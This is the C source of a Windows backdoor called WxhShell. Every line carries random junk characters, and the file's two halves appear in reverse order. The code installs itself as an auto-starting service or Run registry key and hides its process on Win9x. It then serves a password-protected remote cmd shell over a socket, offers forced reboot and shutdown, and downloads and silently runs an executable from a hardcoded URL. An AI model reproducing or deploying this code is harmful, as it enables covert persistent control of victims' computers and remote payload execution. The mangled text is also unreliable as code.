    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~3'OiIw1@  
    else { StdS$XW  
    closesocket(wsh); n2jvXLJq  
    ExitThread(0); wzDk{4U  
    } :Er^"9'A2  
    break; _[$T29:8\]  
    } U=&^H!LVY  
  // 获取shell wZo.ynXT  
  case 's': { #LN5&i;s  
    CmdShell(wsh); x!"SD3r=4>  
    closesocket(wsh); *gM,x4Y  
    ExitThread(0); =.qm8+  
    break; cD'HQ3+  
  } LL= Z$U $  
  // 退出 >op:0on]}  
  case 'x': { $S6HZG:N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c%AFo]H  
    CloseIt(wsh); tT@w%Sz57N  
    break; eq@am(#&kY  
    } ` j&0VIU>>  
  // 离开 7xv4E<r2  
  case 'q': { PcHSm/d0e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (|0.m8D~D  
    closesocket(wsh); YGq=8p7.R  
    WSACleanup(); nabBU4;h  
    exit(1); (~j,mk  
    break; y*VQ]aJ  
        } &v5G92  
  } g.B%#bfg  
  } ^CZCZ,v  
>lD;0EN  
  // 提示信息 a|DsHZ^6^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _ztZ> '  
} YSR mt/  
  } hp bwZ  
q"gqO%Wb|  
  return; v! 7s M  
} R)0N0gH  
J>rka]*  
// shell模块句柄 YBb)/ZghY  
int CmdShell(SOCKET sock) 6g5PM4\  
{ v,/[&ASz  
STARTUPINFO si; A /q2g7My  
ZeroMemory(&si,sizeof(si)); @ Ii-NmOr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; di~]HUZh)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Tbv/wJ  
PROCESS_INFORMATION ProcessInfo; _f cS>/<a  
char cmdline[]="cmd"; "-w ^D!C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *IC^IC:  
  return 0; 1HMUHZT  
} n[!;yO  
q[7CPE0n  
// 自身启动模式  n;wwMMBM  
int StartFromService(void) "jMqt9ysN  
{ Vclr)}5  
typedef struct EXuLSzQwv  
{ g>so R&*  
  DWORD ExitStatus; w/ TKRCO3  
  DWORD PebBaseAddress; et=7}K]l  
  DWORD AffinityMask; u*2fP]n  
  DWORD BasePriority; 93j{.0]X  
  ULONG UniqueProcessId; R (G2qi  
  ULONG InheritedFromUniqueProcessId; PgMbMH  
}   PROCESS_BASIC_INFORMATION; xq}-m!nX  
tQWWgLM  
PROCNTQSIP NtQueryInformationProcess; 8p&kLo&  
089 k.WG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cJCU*(7&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H@GE)I>^@  
Ly;I,)w  
  HANDLE             hProcess; ?v:ZU~i  
  PROCESS_BASIC_INFORMATION pbi; @5xu>gKn  
GF8 -_X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yGxv?%%2  
  if(NULL == hInst ) return 0; F@Q^?WV  
Y;Ap9i*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >!L&>OOx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z|G/^DK!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?]c+j1 i  
afHaB/t{R  
  if (!NtQueryInformationProcess) return 0; j(iuz^I  
4:7mK/Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `1Zhq+s  
  if(!hProcess) return 0; Q $~n/  
]dSK wxk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qTT,U9]:  
(luKn&826  
  CloseHandle(hProcess); F30 ]  
7{e=="#*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |S&5es-yW  
if(hProcess==NULL) return 0; UL( lf}M  
T-gk<V  
HMODULE hMod; ?P/AC$:|I  
char procName[255]; x&Cp> +i  
unsigned long cbNeeded; \}5p0.=  
1D F/6y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {^}0 G^  
9M a0^_  
  CloseHandle(hProcess); #]E(N~  
Md,pDWb  
if(strstr(procName,"services")) return 1; // 以服务启动 t{dSX?<nt  
c)}2K0  
  return 0; // 注册表启动 h5"Ov,K3[  
} Wh( |+rJ?Z  
oH#v6{y  
// 主模块 \K iwUz  
int StartWxhshell(LPSTR lpCmdLine) EpYy3^5d  
{ +oc >S  
  SOCKET wsl; jZpa0grA  
BOOL val=TRUE;  En6H%^d2  
  int port=0; :7g=b%;  
  struct sockaddr_in door; ka"337H  
?wb+L  
  if(wscfg.ws_autoins) Install(); k |YWOy@D~  
amWD-0V  
port=atoi(lpCmdLine); $w#r"= )  
#]]Su91BA  
if(port<=0) port=wscfg.ws_port; i3VW1~.8  
FT.,%2  
  WSADATA data; 0d^Z uTN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ju2l?Rr X  
e@#kRklV&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FLZWZ;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +7V{ABfGl  
  door.sin_family = AF_INET; crcA\lJf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^|!I +  
  door.sin_port = htons(port); Bux [6O %  
I 1Sa^7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { en F:>H4  
closesocket(wsl); ->^~KVh&  
return 1; !v.9"!' N  
} DZS]AC*  
Lw1EWN6}_&  
  if(listen(wsl,2) == INVALID_SOCKET) { I6!5Yj]O"  
closesocket(wsl); cO2& VC  
return 1; S~Z|PLtF  
} fBn"kr;  
  Wxhshell(wsl); -]uUYe c  
  WSACleanup(); Ny- [9S-<  
O,2~"~kF  
return 0; WE6a'  
$2^`Uca  
} "9EE1];NT  
V r(J+1@  
// 以NT服务方式启动 mW2,1}Jv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PNOGN|D  
{ j(:I7%3&(*  
DWORD   status = 0; `;|5  
  DWORD   specificError = 0xfffffff; }v9\F-0>Q  
.nu @ o40  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aI(7nJ=R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B vo5-P6XY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Rlnbdb;!k  
  serviceStatus.dwWin32ExitCode     = 0; PNF?;*`-{7  
  serviceStatus.dwServiceSpecificExitCode = 0; \!vN   
  serviceStatus.dwCheckPoint       = 0; &6 s) X  
  serviceStatus.dwWaitHint       = 0; ?"#%SKm  
tM-^<V&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7(M(7}EKA  
  if (hServiceStatusHandle==0) return; 7]xm2CHx5  
 T9)nQ[  
status = GetLastError(); hz;|NW{u  
  if (status!=NO_ERROR) 1g# #sSa6  
{ D(p\0V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `RU[8@ 2%  
    serviceStatus.dwCheckPoint       = 0; )VL96did  
    serviceStatus.dwWaitHint       = 0; SG}V[Glk  
    serviceStatus.dwWin32ExitCode     = status; [ EFMu;q  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2?m.45`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F' U 50usV  
    return; }i {sg#  
  } Q9}dHIe1E  
Ol"3a|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I;5R2" 3  
  serviceStatus.dwCheckPoint       = 0; mk7&<M  
  serviceStatus.dwWaitHint       = 0; (,^*So/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6sIL.S~c)  
} oH0X<'  
ReiB $y6  
// 处理NT服务事件,比如:启动、停止 |KB0P@=a  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  +`7KSwa  
{ !D!~ ^\  
switch(fdwControl) (-]r~Ol^  
{ G?f\>QSZ  
case SERVICE_CONTROL_STOP: zR!o{8  
  serviceStatus.dwWin32ExitCode = 0; ^c~)/F/cF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m}>F<;hQ  
  serviceStatus.dwCheckPoint   = 0; ,q(&)L$S  
  serviceStatus.dwWaitHint     = 0; A:(*y 2  
  { >!_Xgw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z/rP"|EuQ  
  } | mu+9   
  return; dU\%Cq-G)  
case SERVICE_CONTROL_PAUSE: I^o!n5VM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VMoSLFp^R  
  break; ih?^t(i  
case SERVICE_CONTROL_CONTINUE: ?+T^O?r|O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !`!| Zw  
  break; s2j['g5  
case SERVICE_CONTROL_INTERROGATE: Vh}SCUof'  
  break; fgihy  
}; xBu1Ak8w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kB5.(O  
} JCAq8=zM  
3\T2?w9u(  
// 标准应用程序主函数 P/&]?f0/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qj cp65^  
{ }I`a`0/  
p4VeRJk%  
// 获取操作系统版本 FI"`DMb}  
OsIsNt=GetOsVer(); k6=nO?$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wP,JjPUt  
npRS Ev  
  // 从命令行安装 eT2*W$  
  if(strpbrk(lpCmdLine,"iI")) Install(); v&Kqq!DE  
k+1|I)z  
  // 下载执行文件 u&wiGwF[  
if(wscfg.ws_downexe) { 5BBD.!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  +H$!a  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9n}p;3{f  
} ccd8O{G.M  
_)]CzBRq\6  
if(!OsIsNt) { Z$J#|  
// 如果时win9x,隐藏进程并且设置为注册表启动 xq"Jy=4Q*  
HideProc(); !%dN<%Ah  
StartWxhshell(lpCmdLine); Vb BPB5 $q  
} d;n."+=[x  
else Pz$R(TV  
  if(StartFromService()) Nan[<  
  // 以服务方式启动 /  g 2b  
  StartServiceCtrlDispatcher(DispatchTable); V`@>MOw^d  
else IKie1!ZU{"  
  // 普通方式启动 H4]Ul eU  
  StartWxhshell(lpCmdLine); s`>[F@N7.o  
B:7mpSnEQ  
return 0; ?ve#} \  
} ,]b~t0|B  
^] kF{ o?  
oPPX&e@=s]  
KN-avu_Ix  
=========================================== 5E notp[  
``E/m<r:$  
a'\o 7_  
TwgrRtj'  
? R>h `  
Is+O  
" /> 4"~q)  
o6//IOZ  
#include <stdio.h> P (S>=,Y&  
#include <string.h> fxT-j s#S  
#include <windows.h> ]5%/3P,/  
#include <winsock2.h> %Z*sU/^  
#include <winsvc.h>  rb{P :MX  
#include <urlmon.h> t]X w{)T  
Uk\Id ~xLV  
#pragma comment (lib, "Ws2_32.lib") DfKr[cqLM  
#pragma comment (lib, "urlmon.lib") V%Sy"IG  
^i:B+ rl  
#define MAX_USER   100 // 最大客户端连接数 V <bd;m  
#define BUF_SOCK   200 // sock buffer dXnl'pFS  
#define KEY_BUFF   255 // 输入 buffer NssELMtF!g  
Ge<nxl<Bd  
#define REBOOT     0   // 重启 D1 &A,2wO  
#define SHUTDOWN   1   // 关机 Onwp-!!.  
rl0<Ls  
#define DEF_PORT   5000 // 监听端口 <ZB1Vi9}8  
@lvyDu6e  
#define REG_LEN     16   // 注册表键长度 E4hLtc^ +  
#define SVC_LEN     80   // NT服务名长度 cH>%r^G\  
L5,NP5RC  
// 从dll定义API `hb%+-lj+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AFAAuFE"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \<g*8?yFs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M|R b&6O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ttu&@ =  
4R\ Hpt  
// wxhshell配置信息 1/"WD?a  
struct WSCFG { AnT3M.>ek  
  int ws_port;         // 监听端口 KGg3 !jY  
  char ws_passstr[REG_LEN]; // 口令  =kuMWaD  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8w.YYo8`  
  char ws_regname[REG_LEN]; // 注册表键名 gg8Uo G  
  char ws_svcname[REG_LEN]; // 服务名 k1!@^A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e2A-;4?_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rOVVL%@QqJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `*shF9.\C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !@v7Zu43,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X*\ J_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eow'K 821A  
VX1-JxY  
}; [W7CXZDd  
?F3h)(}  
// default Wxhshell configuration y~\oTJb  
struct WSCFG wscfg={DEF_PORT, =y-@AU8  
    "xuhuanlingzhe", 4H/fP]u  
    1, gdQvp=v]  
    "Wxhshell", ){b@}13cF  
    "Wxhshell", S.f5v8  
            "WxhShell Service", _D+J!f^  
    "Wrsky Windows CmdShell Service", X)% A6M  
    "Please Input Your Password: ", N}t 2Nu-  
  1, J7g8D{4  
  "http://www.wrsky.com/wxhshell.exe", PAM}*'  
  "Wxhshell.exe" :\o {_  
    };  .P"D  
NN?`"Fww  
// 消息定义模块 sc,vj'r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nX`u[ks  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #NryLE!/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h3xAJ!  
char *msg_ws_ext="\n\rExit."; m*kl  
char *msg_ws_end="\n\rQuit."; 3zcU%*  
char *msg_ws_boot="\n\rReboot..."; k5kxQhPf  
char *msg_ws_poff="\n\rShutdown..."; io8'g3<  
char *msg_ws_down="\n\rSave to "; 4.5|2 \[  
Fkd+pS\9g~  
char *msg_ws_err="\n\rErr!"; @W"KVPd  
char *msg_ws_ok="\n\rOK!"; I<6P;  
)`(p9@,V  
char ExeFile[MAX_PATH]; 2|*JSU.I  
int nUser = 0; R1$:~p2m  
HANDLE handles[MAX_USER]; !'9Feoez  
int OsIsNt; ia+oX~W!VR  
E;R n`oxk  
SERVICE_STATUS       serviceStatus; SSWP~ t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /Y2}a<3&0  
!`Hd-&}bYz  
// 函数声明 vkEiOFU!u  
int Install(void); }%{LJ}\Px  
int Uninstall(void); .Z `av n  
int DownloadFile(char *sURL, SOCKET wsh); FwkuC09tI  
int Boot(int flag); Xx0hc 8qd  
void HideProc(void); P"8~$ P#  
int GetOsVer(void); IS&ZqE(`e  
int Wxhshell(SOCKET wsl); aGtf z)  
void TalkWithClient(void *cs); p o2!  
int CmdShell(SOCKET sock); 0vD7v  
int StartFromService(void); -7@/[9Gf`:  
int StartWxhshell(LPSTR lpCmdLine); MS 81sN\d  
@v)p<r^M">  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V8C:"UZ;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oldA#sA$  
`-J%pEIza  
// 数据结构和表定义 )I^7)x  
SERVICE_TABLE_ENTRY DispatchTable[] = _ 4U5  
{ f=r<nb'H  
{wscfg.ws_svcname, NTServiceMain}, xRzFlay8  
{NULL, NULL} bU2Z[sn.  
}; {byBc G  
v,-HU&/*B  
// 自我安装 %^4CSh  
int Install(void) [ 0KlC1=  
{ 0uOkMuy<  
  char svExeFile[MAX_PATH]; 7WkB>cn  
  HKEY key; v4`"1Ss,K  
  strcpy(svExeFile,ExeFile); ;Q OBBF3HG  
;5S9y7[i|  
// 如果是win9x系统,修改注册表设为自启动 T?tgd J  
if(!OsIsNt) { !Sh&3uy_qN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `(ue63AZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); * K D I}B>  
  RegCloseKey(key); 7vrl'^1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +eK"-u~K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;o2$ Q  
  RegCloseKey(key); hIs4@0  
  return 0; t^R][Ay&  
    } @"Fme-~  
  } cdl&9-}  
} *`ua'"="k  
else { ;g5m0l5  
; >hNt  
// 如果是NT以上系统,安装为系统服务 -Ta9 pxZk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r ~jm`y  
if (schSCManager!=0) iNtaDX| %/  
{ }Jy8.<Gd^  
  SC_HANDLE schService = CreateService q<[P6}.  
  ( CrC^1K  
  schSCManager, _~IR6dKE  
  wscfg.ws_svcname, )t0$qd ]  
  wscfg.ws_svcdisp, 42{Ew8  
  SERVICE_ALL_ACCESS, J>wt (] y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [YF>:ydk  
  SERVICE_AUTO_START, +Mo9kC  
  SERVICE_ERROR_NORMAL, Y!~49<;  
  svExeFile, ^ =bu(L  
  NULL, bv]`!g: C  
  NULL, E4`N-3  
  NULL, Se :.4<  
  NULL, !"HO]3-o  
  NULL "bFTk/  
  ); &zl|87M  
  if (schService!=0) :q$.,EZ4#n  
  { -Br Mp%C  
  CloseServiceHandle(schService); YSr9VpqWV  
  CloseServiceHandle(schSCManager); PWaw]*dFmy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >BIMi^  
  strcat(svExeFile,wscfg.ws_svcname); nrL9 E'F'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3GaQk-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?i7%x,g(Z  
  RegCloseKey(key); tX9{hC^  
  return 0; ?{P"O!I{  
    } *g:4e3Iy  
  } +X#vVD3"  
  CloseServiceHandle(schSCManager); >BR(Wd.  
} Q3n,)M[N  
} Hu\B"fdS  
^W`<gR  
return 1; "9ZID-~]  
} HmiR.e%<b  
j`JMeCG=Ee  
// 自我卸载 IpINH3odT  
int Uninstall(void) ]{)a,c NG  
{ *rM^;4Zt  
  HKEY key; p#ol*m5wE  
:#LLo}LKp  
if(!OsIsNt) { N|8P)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6*PYFf`  
  RegDeleteValue(key,wscfg.ws_regname); :8L8q<U  
  RegCloseKey(key); bx#>BK!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;;_,~pI?k  
  RegDeleteValue(key,wscfg.ws_regname); j-4VB_N@  
  RegCloseKey(key); 8;d:-Cp  
  return 0; gy,ht3  
  } \kp8S'qVo  
} sd,J3  
} j2Cks_$:  
else { K{x\4  
)_+rU|We  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sT !~J4  
if (schSCManager!=0) j|4<i9^}  
{ q 0$,*[PH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NO~*T?&  
  if (schService!=0) zjJ *n8l  
  { >sfRI]OG  
  if(DeleteService(schService)!=0) { UR%/MV  
  CloseServiceHandle(schService); b=g8eMm  
  CloseServiceHandle(schSCManager); .\[`B.Q  
  return 0; -9%:ilX~  
  } K0H'4' I  
  CloseServiceHandle(schService); DNOueU  
  } 'z0:Ccbj  
  CloseServiceHandle(schSCManager); E.r>7`E  
} j.C`U(n}`  
} #D<C )Q  
A'j;\ `1  
return 1; s:OFVlC%\  
} a;rdQ>  
jK!Au  
// 从指定url下载文件 |2?'9<  
int DownloadFile(char *sURL, SOCKET wsh) w Qgo N%  
{ 5\N(PL  
  HRESULT hr; W 0(_ ~  
char seps[]= "/"; `{eyvW[Ks  
char *token; AuUd e$l_  
char *file; 0@ yXi  
char myURL[MAX_PATH]; CKtB-a  
char myFILE[MAX_PATH];  !;EjB*&  
C+?Hm1  
strcpy(myURL,sURL); ?5U2D%t  
  token=strtok(myURL,seps); {G|,\O1  
  while(token!=NULL) 9:fOYT$8  
  { ?Y)vGlWDW<  
    file=token; FqkDKTS\&  
  token=strtok(NULL,seps); nA?`BOe(  
  } N/]o4o  
$k|g"9  
GetCurrentDirectory(MAX_PATH,myFILE); !$DIc  
strcat(myFILE, "\\"); k ]W[`  
strcat(myFILE, file); f_wvZ&  
  send(wsh,myFILE,strlen(myFILE),0); !zux z  
send(wsh,"...",3,0); * 1T&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6,"IDH|ND  
  if(hr==S_OK) vbkI^+=,YY  
return 0; w<C#Bka  
else QZ4v/Ou  
return 1; _6_IP0;  
ICuF %  
} l=]cy-H  
3j,Q`+l/6d  
// 系统电源模块 j;']cWe  
int Boot(int flag) V7GRA#|  
{ UUSq$~Ct  
  HANDLE hToken; ~oI1 zNz/  
  TOKEN_PRIVILEGES tkp; D Gr> 2  
09dK0H3(  
  if(OsIsNt) { ^w(p8G_-w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jH19k}D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wkP#Z"A0~  
    tkp.PrivilegeCount = 1; aF)1Nm[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aki _RG>U'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nFE4qm  
if(flag==REBOOT) { >GQEqXs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -%2[2p  
  return 0; g$( V^  
} S7=Bd[4  
else { I*LknU@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >fe- d#!{  
  return 0; 'I_Qb$  
} `^bgUmJ~  
  } ="x\`+U  
  else { }~#pEX~j*  
if(flag==REBOOT) { e "/;7:J5\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1v,Us5s<"6  
  return 0; dA@'b5N{"  
} 9[1`jtm  
else { lCAIK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OC1I&",Ai|  
  return 0; n.wF&f'D]  
} ,$1eFgY%  
} =g/{%;  
@.G[s)x  
return 1; XS`M-{f`  
} 8i6Ps$T  
-`<kCW"  
// win9x进程隐藏模块 vN|l\!~  
void HideProc(void) A'G66ei  
{ .{ 44a$)  
D _/^+H]1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T _sTC)&a  
  if ( hKernel != NULL ) #?q&r_@@  
  { ':gUOra|I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T?:glp[4I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L!=4N!j  
    FreeLibrary(hKernel); BDVHol*g  
  } {T4  
+|bmT  
return; 0TN;86Mo  
} gN24M3{C  
V6t,BJjS  
// 获取操作系统版本 b8LoIY*  
int GetOsVer(void) 'a$Gv&fu  
{ j6>.n49_  
  OSVERSIONINFO winfo; ]Tkc-ez  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2kdC]|H2?  
  GetVersionEx(&winfo); M&N B/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *.\  
  return 1; hF@Gn/  
  else  Np'2}6P  
  return 0; Gp4A.\7  
} 0G7K8`a  
e*@{%S  
// 客户端句柄模块 f 1w~!O9  
int Wxhshell(SOCKET wsl) OR}c)|1  
{ 2Yp7  
  SOCKET wsh; 0j30LXI_  
  struct sockaddr_in client; 9AxCiT.  
  DWORD myID; L:_bg8eD#  
YyTSyP4  
  while(nUser<MAX_USER) AZa 6 C w  
{ U f|> (C  
  int nSize=sizeof(client); \[gReaI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ku\Y'ub  
  if(wsh==INVALID_SOCKET) return 1; 6U[4%(  
@y82L8G/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Mk=mT3=#  
if(handles[nUser]==0) oqLfesV~  
  closesocket(wsh); nBHnkbKoy  
else (FJ9-K0b{n  
  nUser++; DXa=|T  
  } ?t+5s]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p/U+0f  
vG;zJ#c  
  return 0; wjh=Q  
} :6zG7qES3  
hSFn8mpXT  
// 关闭 socket Y`o+XimX  
void CloseIt(SOCKET wsh) /9zE^YcT  
{ W?eu!wL#p  
closesocket(wsh); C4hx@abA  
nUser--; MXzVgy  
ExitThread(0); 2Fz|fW_  
} Q %wY  
p=C%Hmd5E  
// 客户端请求句柄 H|ER  
void TalkWithClient(void *cs) `.T}=j|  
{ d3W0-INL  
 ~BDu$  
  SOCKET wsh=(SOCKET)cs; `ORECg)  
  char pwd[SVC_LEN]; $Bj;D=d@V  
  char cmd[KEY_BUFF]; @BrMl%gV  
char chr[1]; NvHJ3>"%  
int i,j; ^S)cjH`P  
E@-KGsdhK  
  while (nUser < MAX_USER) { -0_d/'d  
^-rfvc  
if(wscfg.ws_passstr) { j:,NE(DF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B9T!j]'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rQEyD  
  //ZeroMemory(pwd,KEY_BUFF); Ndo a4L)$  
      i=0; YKbaf(K )9  
  while(i<SVC_LEN) { <)\y#N  
cZ(elZ0~  
  // 设置超时 GEEW?8  
  fd_set FdRead; V\})3i8  
  struct timeval TimeOut; B%KG3]  
  FD_ZERO(&FdRead); f8SL3+v  
  FD_SET(wsh,&FdRead); =7m}yDs6$  
  TimeOut.tv_sec=8; "*;;H^d  
  TimeOut.tv_usec=0; Gcb|W&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,o^y`l   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ov#=]t5  
yA)(*PFz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v^ /Q 8Q  
  pwd=chr[0]; CH fVQ|!\  
  if(chr[0]==0xd || chr[0]==0xa) { _{Sm k [  
  pwd=0; TZt jbD>B  
  break; gJ;_$`  
  } ,jC3Fcly  
  i++; 0W3i()  
    } gORJWQv  
U~W?s(Cy%  
  // 如果是非法用户,关闭 socket pGSai &  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  Y=`  
} LGc&o]k  
Hg9CZM ko  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pDQ}*   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *xE,sj+(  
i5>+}$1  
while(1) { XX1Il;1G#  
AW#<i_Ybf  
  ZeroMemory(cmd,KEY_BUFF); [xh*"wT#g  
NxVw!TsR  
      // 自动支持客户端 telnet标准   -k(CJ5H9  
  j=0; GabYfUkO  
  while(j<KEY_BUFF) { ( Y+N@d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P/JK$nb  
  cmd[j]=chr[0]; 0wFH!s/B  
  if(chr[0]==0xa || chr[0]==0xd) { `:O\dN>ON  
  cmd[j]=0; 3x~{QG5Gn  
  break; _SACqamo5s  
  } m^_6:Q0F!8  
  j++; +3i7D  
    } 7O`o ovW$  
;pD)m/$h`  
  // 下载文件 Y~)T  
  if(strstr(cmd,"http://")) { \([WH!7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +,50q N:%[  
  if(DownloadFile(cmd,wsh)) X%bFN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qzFQEepso  
  else ]NhS=3*i+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |wox1Wt|E  
  } xsjO)))f  
  else { j5 Un1  
0)9"M.AIvo  
    switch(cmd[0]) { =2y8 CgLj  
  s7r9,8$  
  // 帮助 #a| L3zR5v  
  case '?': { w6 2=06`@  
